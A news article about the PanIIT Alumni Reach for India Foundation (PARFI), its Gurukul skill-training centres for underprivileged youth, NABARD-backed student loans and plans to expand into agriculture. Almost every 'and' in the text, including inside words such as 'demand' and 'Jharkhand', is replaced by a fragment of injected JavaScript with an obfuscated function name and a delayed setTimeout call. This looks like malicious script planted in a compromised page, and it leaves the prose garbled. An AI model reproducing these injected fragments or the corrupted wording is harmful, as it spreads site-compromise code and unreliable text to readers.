IIT Alumni network to train underprivileged youth, focus in Agriculture sector

The alumni network of the premier institution has been running a PanIIT Alumni Reach for India Foundation (PARFI), which they call Gurukul.

After successfully training over 8,000 youth dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and getting them placed in various sectors in the skill industry, the alumni network of Indian Institute of Technology (IIT) is looking to open more skill training centres across the country.

The alumni network of the premier institution has been running a PanIIT Alumni Reach for India Foundation (PARFI), which they call Gurukul. Young men dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and women from underprivileged families receive training in various technical skills like construction, medical services, logistics, electrical dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and others in these Gurukuls dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and get assured placements.

Getting a push with Prime Minister Narendra Modi’s Skill India programme, the foundation is looking at expdom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}anding themselves in a bigger way now. PARFI had so far been actively working with Jharkhdom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and government dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and Tamil Nadu government. After their success, the foundation is now in talks with other state governments as well dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and are looking to explore possibilities in Agriculture sector in states like Punjab, UP dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and Haryana.

PARFI is a demdom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-led training model by which the members of the foundation train students according to the demdom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ands of the industry. Even before the students are admitted in Gurukul, the members of the association conduct their research in the industry dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and train students accordingly in the required skills.

The infrastructure support is provided by the government dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and teachers dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and training is provided by the institute, which runs on a loan-based model for students. The students get loans from NABARD (National Bank for Agriculture dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and Rural Development), which they have to repay after they get a job.

“We want to expdom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and our centres as there is tremendous scope in a lot of fields like Agriculture in various parts of India. New technology is coming in the field which people are not aware about dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the industry needs skilled people who are well-equipped with the new technology. This is where we can come in dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and train the youth to be employable,” said Ashank Desai, Co-Chairman PARFI.

“Our idea is to meet the demdom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and for skilled youth, for which we need to train them in the way industry wants. The industry is changing dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and there is more use of technology is each sector now,” he adds.

The foundation has started a pre-construction training centre where certain parts of a building are built at the centre dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then assembled at the construction site. This is one of its kind training imparted by trainers at PARFI dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and is one of the ways in which the foundation is keeping pace with the rising demdom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ands of skill industry.

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